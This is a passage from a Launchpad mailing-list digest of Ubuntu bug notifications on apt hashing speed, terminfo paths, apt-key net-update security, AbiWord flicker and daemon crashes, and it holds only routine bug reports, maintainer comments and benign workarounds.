  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLtd.:bvrP14AAJ:bd04/15/2013:svnSAMSUNGELECTRONICSCO.,LTD.:pn530U3C/530U4C:pvr0.1:rvnSAMSUNGELECTRONICSCO.,LTD.:rnSAMSUNG_NP1234567890:rvrFAB1:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvr0.1:
  dmi.product.name: 530U3C/530U4C
  dmi.product.version: 0.1
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.
  hciconfig:
   hci0:Type: Primary  Bus: USB
BD Address: C4:85:08:6C:01:0A  ACL MTU: 310:10  SCO MTU: 64:8
UP RUNNING PSCAN 
RX bytes:3574167 acl:39 sco:0 events:510356 errors:0
TX bytes:254435767 acl:1033259 sco:0 commands:97 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1705077/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Travis Johnson]

I am not satisfied with this response: I experience CPU bottlenecking on
ec2 server instances. Gigabit networking with CPUs sub-3ghz is
incredibly common place (read: entirety of server ecosystem), so I'm not
sure what you mean by "usual" network bandwidths.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1417717] Re: apt-utils marked for translate, but data unavailable

[Colin Watson]

I don't think there was a Launchpad bug at issue here.  The relevant
translation templates are all approved/imported now.

** Changed in: launchpad
   Status: New => Invalid

** Changed in: ubuntu-translations
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1417717

Title:
  apt-utils marked for translate, but data unavailable

Status in Launchpad itself:
  Invalid
Status in Ubuntu Translations:
  Fix Released
Status in apt package in Ubuntu:
  Fix Released

Bug description:
  The package apt-utils is marked for translate ( 15.04, in french), but
  no data is available for translators.

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/1417717/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1574278] Re: AbiWord text cursor starts to flicker after adding some text

[Henk Terhell]

Your observation on the visual effects is likely the same as mine which I 
reported as bug #1649001. However this was considered as a duplicate of 
#1574278. 
Focuswriter or LibreOffice Writer can be installed as suitable alternatives.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1574278

Title:
  AbiWord text cursor starts to flicker after adding some text

Status in AbiWord:
  In Progress
Status in abiword package in Ubuntu:
  Confirmed
Status in gtk+3.0 package in Ubuntu:
  Fix Released
Status in lubuntu-artwork package in Ubuntu:
  Invalid
Status in abiword source package in Xenial:
  Confirmed
Status in gtk+3.0 source package in Xenial:
  Confirmed
Status in lubuntu-artwork source package in Xenial:
  Invalid

Bug description:
  After adding some text in a new document, the entire document
  (including gray page background, text, text cursor) starts to flicker
  very fast. The UI above does not flicker. This happens too on a
  different system in VirtualBox. (Lubuntu 16.04 i386)

  Workaround for Ubuntu 16.04 LTS
  ===
  1. Open the Lubuntu menu.
  2. Open Preferences>Customize Look and Feel
  3. Change the theme to something other than Lubuntu-default or 
Lubuntu-dark-panel

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: abiword 3.0.1-6
  ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6
  Uname: Linux 4.4.0-21-generic i686
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: i386
  CurrentDesktop: LXDE
  Date: Sun Apr 24 16:12:14 2016
  ExecutablePath: /usr/bin/abiword
  InstallationDate: Installed on 2016-04-22 (2 days ago)
  InstallationMedia: Lubuntu 15.10 "Wily Werewolf" - Release i386 (20151021)
  ProcEnviron:
   LANGUAGE=de_DE
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: abiword
  UpgradeStatus: Upgraded to xenial on 2016-04-22 (2 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/abiword/+bug/1574278/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705067] [NEW] system-local terminfo does not search /usr/share/terminfo as README says

[Henrik Holst]

Public bug reported:

$ lsb_release -rd

Description:Ubuntu 16.04.2 LTS
Release:16.04

The file /etc/terminfo/README says

This directory is for system-local terminfo descriptions. By default,
ncurses will search ${HOME}/.terminfo first, then /etc/terminfo (this
directory), then /lib/terminfo, and last not least /usr/share/terminfo.

but it seems that /usr/share/terminfo is not used or does not work as
expected?

Repro:

1) Install `stterm`

2) Start `stterm`

3) Type `clear`

Result:

terminals database is inaccessible

Expected result:

Screen is cleared

Workaround:

Symlink the terminfo database to a user-local ~/.terminfo

mkdir -p ~/.terminfo/s && ln -sf /usr/share/terminfo/s/stterm*
~/.terminfo/s

** Affects: ncurses (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ncurses in Ubuntu.
https://bugs.launchpad.net/bugs/1705067

Title:
  system-local terminfo does not search /usr/share/terminfo as README
  says

Status in ncurses package in Ubuntu:
  New

Bug description:
  $ lsb_release -rd

  Description:Ubuntu 16.04.2 LTS
  Release:16.04

  The file /etc/terminfo/README says

  This directory is for system-local terminfo descriptions. By default,
  ncurses will search ${HOME}/.terminfo first, then /etc/terminfo (this
  directory), then /lib/terminfo, and last not least /usr/share/terminfo.

  but it seems that /usr/share/terminfo is not used or does not work as
  expected?

  Repro:

  1) Install `stterm`

  2) Start `stterm`

  3) Type `clear`

  Result:

  terminals database is inaccessible

  Expected result:

  Screen is cleared

  Workaround:

  Symlink the terminfo database to a user-local ~/.terminfo

  mkdir -p ~/.terminfo/s && ln -sf /usr/share/terminfo/s/stterm*
  ~/.terminfo/s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ncurses/+bug/1705067/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1013681] Re: make apt-key net-update secure

[Dimitri John Ledkov]

Whilst poking all of this a while back, my thought was to use inline
signed keyring snippet which is downloaded probably with the apt-helper,
validated (well gpgv decrypt) and stored as
/etc/apt/trusted.gpg.d/netupdate.gpg. Since we no longer need to touch
/etc/apt/trusted.gpg keyring. This doesn't even need to live in apt-key
netupdate, and could be just a timer unit. But i guess having this
simple logic in apt-key script may make sense.

Note that netupdate has been disabled for a long while now, thus any
reintroduction will need security team review before we enable.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1013681

Title:
  make apt-key net-update secure

Status in apt package in Ubuntu:
  Triaged
Status in apt package in Debian:
  New

Bug description:
  Attacks are being performed against the 'apt-key net-update' command
  and it is not considered secure. While it is in the process of being
  disabled in Ubuntu, it should be improved to be secure.

  References:
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/857472
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013128
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013639
  http://seclists.org/fulldisclosure/2011/Sep/222
  http://seclists.org/fulldisclosure/2012/Jun/267
  http://seclists.org/fulldisclosure/2012/Jun/271
  http://seclists.org/fulldisclosure/2012/Jun/289

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013681/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Oleksij Rempel]

Well, definition of "extreamly" is wired. In this bug report we have i5 with 
20%!
I my case it was Intel Atom with 100% CPU usage and DSL 2000 Mbit/s!

Atom is slow, but not slowest used CPU.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1638345] Re: avahi-daemon crashes multiple times an hour

[Sebastien Bacher]

** Changed in: avahi (Ubuntu)
 Assignee: FanJun Kong - ( BH1SCW ) (fjkong) => (unassigned)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to avahi in Ubuntu.
https://bugs.launchpad.net/bugs/1638345

Title:
  avahi-daemon crashes multiple times an hour

Status in avahi package in Ubuntu:
  Confirmed

Bug description:
  Ever since upgrading to 16.10, avahi-daemon crashes multiple times an
  hour, leading to the prompt to report the issue to Ubuntu.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.10
  Package: avahi-daemon 0.6.32-1ubuntu1
  ProcVersionSignature: Ubuntu 4.8.0-26.28-generic 4.8.0
  Uname: Linux 4.8.0-26-generic x86_64
  NonfreeKernelModules: zfs zunicode zcommon znvpair zavl
  ApportVersion: 2.20.3-0ubuntu8
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Tue Nov  1 10:48:35 2016
  InstallationDate: Installed on 2016-07-08 (115 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  SourcePackage: avahi
  UpgradeStatus: Upgraded to yakkety on 2016-10-31 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1638345/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1647638] Re: W: APT had planned for dpkg to do more than it reported back

[Julian Andres Klode]

Downgrading as per my last comment.

** Changed in: apt (Ubuntu)
   Importance: Medium => Low

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1647638

Title:
  W: APT had planned for dpkg to do more than it reported back

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  I noticed that base-files was not completely installed and meant to
  fix it with "sudo apt-get install --reinstall base-files". This
  resulted in the following output.

  $ LANG=C sudo apt-get install --reinstall base-files
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  The following packages were automatically installed and are no longer 
required:
linux-headers-4.9.0-4 linux-headers-4.9.0-4-generic 
linux-image-4.9.0-4-generic linux-image-extra-4.9.0-4-generic
  Use 'sudo apt autoremove' to remove them.
  0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 13 not upgraded.
  Need to get 0 B/56,9 kB of archives.
  After this operation, 0 B of additional disk space will be used.
  (Reading database ... 598721 files and directories currently installed.)
  Preparing to unpack .../base-files_9.6ubuntu8_amd64.deb ...
  Unpacking base-files (9.6ubuntu8) over (9.6ubuntu8) ...
  Setting up base-files (9.6ubuntu8) ...
  Processing triggers for install-info (6.3.0.dfsg.1-1) ...
  Processing triggers for cracklib-runtime (2.9.2-3) ...
  Processing triggers for plymouth-theme-ubuntu-gnome-text (16.10.5) ...
  update-initramfs: deferring update (trigger activated)
  Processing triggers for man-db (2.7.5-2) ...
  Processing triggers for initramfs-tools (0.125ubuntu8) ...
  update-initramfs: Generating /boot/initrd.img-4.9.0-8-generic
  W: APT had planned for dpkg to do more than it reported back (4 vs 6).
 Affected packages: base-files:amd64

  
  $ lsb_release -a
  No LSB modules are available.
  Distributor ID:   Ubuntu
  Description:  Ubuntu Zesty Zapus (development branch)
  Release:  17.04
  Codename: zesty

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1647638/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

The hash algorithms should be fast enough these days in software to
handle usual network bandwidths.   If you combine extremely high speeds
with extremely slow CPUs, that's of course suboptimal.

We can consider using libnettle at some point, I assume this might give
a nice speed up, but this is not planned for the immediate future as it
requires an ABI break.

** Changed in: apt (Ubuntu)
   Importance: Medium => Wishlist

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 571030] Re: failure on karmic->lucid distribution upgrade when openoffice.org-report-builder is installed

[Julian Andres Klode]

Likely fixed in 1.3 or newer, as we just hand large batches to dpkg and
let it do its magic.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/571030

Title:
  failure on karmic->lucid distribution upgrade when openoffice.org-
  report-builder is installed

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  Binary package hint: update-manager

  Crashed during the upgrade (about 60%)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/571030/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1017001] Re: package resolvconf 1.63ubuntu14 failed to install/upgrade: ErrorMessage: pre-dependency problem - not installing resolvconf

[Julian Andres Klode]

Likely fixed in 1.3 or newer, as we just hand large batches to dpkg and
let it do its magic. If someone can reproduce in yakkety or newer,
either re-open or file a new bug.

** Changed in: apt (Ubuntu Precise)
   Status: Confirmed => Won't Fix

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1017001

Title:
  package resolvconf 1.63ubuntu14 failed to install/upgrade:
  ErrorMessage: pre-dependency problem - not installing resolvconf

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Precise:
  Won't Fix
Status in apt source package in Quantal:
  Won't Fix

Bug description:
  [TEST CASE] 
  (from bug 937196)
  1. Install Mythbuntu 10.04, and reboot
  2. Press ESC to quit Mythbuntu
  3. Do not install updates even if the system request you to do it
  4. In a terminal run the following command:
   $ do-release-upgrade -d
  5. Proceed with the upgrade to Precise

  [ACTUAL RESULT]
  Upgrade to Precise fails with the following trace in 
/var/log/dist-upgrade/apt-term.log:
  Setting up libplymouth2 (0.8.2-2ubuntu30) ...
  dpkg: dependency problems prevent configuration of ifupdown:
   ifupdown depends on upstart-job; however:
Package upstart-job is not installed.
Package upstart which provides upstart-job is not configured yet.
   ifupdown depends on initscripts (>= 2.88dsf-13.3); however:
Package initscripts is not configured yet.
  dpkg: error processing ifupdown (--configure):
   dependency problems - leaving unconfigured
  Processing triggers for libc-bin ...
  ldconfig deferred processing now taking place
  Errors were encountered while processing:
   ifupdown

  [EXPECTED  RESULT]
  Upgrade to Precise succeeds

  
  It automatically detected the bug

  ProblemType: Package
  DistroRelease: Ubuntu 12.04
  Package: resolvconf 1.63ubuntu14
  ProcVersionSignature: Ubuntu 3.2.0-25.40-generic 3.2.18
  Uname: Linux 3.2.0-25-generic x86_64
  ApportVersion: 2.0.1-0ubuntu8
  Architecture: amd64
  Date: Sat Jun 23 14:03:11 2012
  ErrorMessage: ErrorMessage: pre-dependency problem - not installing resolvconf
  PackageArchitecture: all
  SourcePackage: resolvconf
  Title: package resolvconf 1.63ubuntu14 failed to install/upgrade: 
ErrorMessage: pre-dependency problem - not installing resolvconf
  UpgradeStatus: Upgraded to precise on 2012-06-23 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1017001/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1013681] Re: make apt-key net-update secure

[Julian Andres Klode]

No, it did not. We could rebase and merge it. We can also replace wget
with /usr/lib/apt/apt-helper download-file to fix bug 325700 and bug
226780 while we're at it.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1013681

Title:
  make apt-key net-update secure

Status in apt package in Ubuntu:
  Triaged
Status in apt package in Debian:
  New

Bug description:
  Attacks are being performed against the 'apt-key net-update' command
  and it is not considered secure. While it is in the process of being
  disabled in Ubuntu, it should be improved to be secure.

  References:
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/857472
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013128
  https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013639
  http://seclists.org/fulldisclosure/2011/Sep/222
  http://seclists.org/fulldisclosure/2012/Jun/267
  http://seclists.org/fulldisclosure/2012/Jun/271
  http://seclists.org/fulldisclosure/2012/Jun/289

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1013681/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1316830] Re: /usr/lib/accountsservice/accounts-daemon :: memory and CPU time leak

[Christian Et]

Sorry for spamming, but I found that above solution is not 100% perfect:
It causes warnings in proftpd.log. Instead of removing /var/log/wtmp
better write the following directive in /etc/proftpd/proftpd.conf:

WtmpLog off

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to accountsservice in Ubuntu.
https://bugs.launchpad.net/bugs/1316830

Title:
  /usr/lib/accountsservice/accounts-daemon :: memory and CPU time leak

Status in accountsservice package in Ubuntu:
  Confirmed

Bug description:
  
  netikras@netikras-netbook ~/received/accountsservice-0.6.20 $ cat 
/etc/lsb-release 
  DISTRIB_ID=LinuxMint
  DISTRIB_RELEASE=16
  DISTRIB_CODENAME=petra
  DISTRIB_DESCRIPTION="Linux Mint 16 Petra"

  uname -a
  Linux netikras-netbook 3.11.0-12-generic #19-Ubuntu SMP Wed Oct 9 16:12:00 
UTC 2013 i686 i686 i686 GNU/Linux


  
  Nothing. Using my netbook as usual. Did not really notice when this started 
since earlier today did not feel any significant slowdowns.

  
  That's what happened:
PID   USER  PR  NI  VIRT  RES   SHR   S  %CPU %MEMTIME+  COMMAND
   
  13155 root  20   0 61424  25m 2948 R  99,6  1,3   1:06.01 
accounts-daemon 

  
  netikras@netikras-netbook /tmp $ while :; do ps aux | grep accounts|grep -v 
grep;echo; sleep 2; done
  root 13155 93.6 26.1 555660 519912 pts/0   Sl   01:11   3:15 
/usr/lib/accountsservice/accounts-daemon

  root 13155 92.7 26.1 555660 519912 pts/0   Sl   01:11   3:15
  /usr/lib/accountsservice/accounts-daemon

  root 13155 91.9 26.1 555660 519912 pts/0   Sl   01:11   3:15
  /usr/lib/accountsservice/accounts-daemon

  
  accounts-daemon is using lots o CPU cycles and memory. Stats above are after 
restarting daemon for several times. Before this memory usage was >60%; CPU - 
100%.

  In file attached you should  be able to see there's a loop checking
  for something repeatedly. Not sure this is the cause though, but feels
  like it..

  
  It's the first time I've noticed this problem, but I often leave my computer 
running unattended so I cannot tell if it's really the first time it happened.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/accountsservice/+bug/1316830/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 798023] Re: apt-get update fails with error 416 Requested Range Not Satisfiable

[Julian Andres Klode]

There have been quite a lot of changes in xenial and newer to fetching
files, so I'm closing this. If anyone can reproduce this in 16.04 or
newer, feel free to reopen it or open a new bug.

** Changed in: apt (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/798023

Title:
  apt-get update fails with error 416  Requested Range Not Satisfiable

Status in apt package in Ubuntu:
  Fix Released

Bug description:
  Binary package hint: apt

  Err http://de.archive.ubuntu.com maverick-updates/main i386 Packages
416  Requested Range Not Satisfiable [IP: 141.30.13.30 80]
  Fetched 5,079B in 2s (2,296B/s)
  W: Failed to fetch 
http://de.archive.ubuntu.com/ubuntu/dists/maverick-updates/main/binary-i386/Packages.gz
  416  Requested Range Not Satisfiable [IP: 141.30.13.30 80]

  E: Some index files failed to download, they have been ignored, or old
  ones used instead.

  ProblemType: Bug
  DistroRelease: Ubuntu 10.10
  Package: apt 0.8.3ubuntu7.1
  ProcVersionSignature: Ubuntu 2.6.35-28.50-generic 2.6.35.11
  Uname: Linux 2.6.35-28-generic i686
  Architecture: i386
  Date: Thu Jun 16 07:56:13 2011
  ExecutablePath: /usr/bin/apt-get
  InstallationMedia: Ubuntu 10.10 "Maverick Meerkat" - Release i386 (20101007)
  ProcEnviron:
   PATH=(custom, no user)
   LANG=en_US.utf8
   SHELL=/bin/bash
  SourcePackage: apt

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/798023/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 178144] Re: apt-get accepts "y" and then aborts the updates

[Julian Andres Klode]

It's been 8 years without any changes on this bug, and I have not seen
it, so closing it.

** Changed in: apt (Ubuntu)
   Status: Triaged => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/178144

Title:
  apt-get accepts "y" and then aborts the updates

Status in apt package in Ubuntu:
  Invalid

Bug description:
  heres my terminal screen
  sam@sambuntu:~$ sudo apt-get install konsole
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  The following extra packages will be installed:
kdelibs-data kdelibs4c2a libarts1c2a libavahi-qt3-1 liblua50 liblualib50
libopenexr2ldbl libqt3-mt
  Suggested packages:
fam perl-suid khelpcenter libqt3-mt-psql libqt3-mt-mysql libqt3-mt-odbc
  Recommended packages:
libarts1-akode
  The following NEW packages will be installed:
kdelibs-data kdelibs4c2a konsole libarts1c2a libavahi-qt3-1 liblua50
liblualib50 libopenexr2ldbl libqt3-mt
  0 upgraded, 9 newly installed, 0 to remove and 1 not upgraded.
  Need to get 22.7MB of archives.
  After unpacking 74.7MB of additional disk space will be used.
  Do you want to continue [Y/n]? y
  Abort.
  I typed in yes and it acted like i typed in no, this is anoyying, but will 
work the second time.
  its odd

To manage notifications about this bug go to:
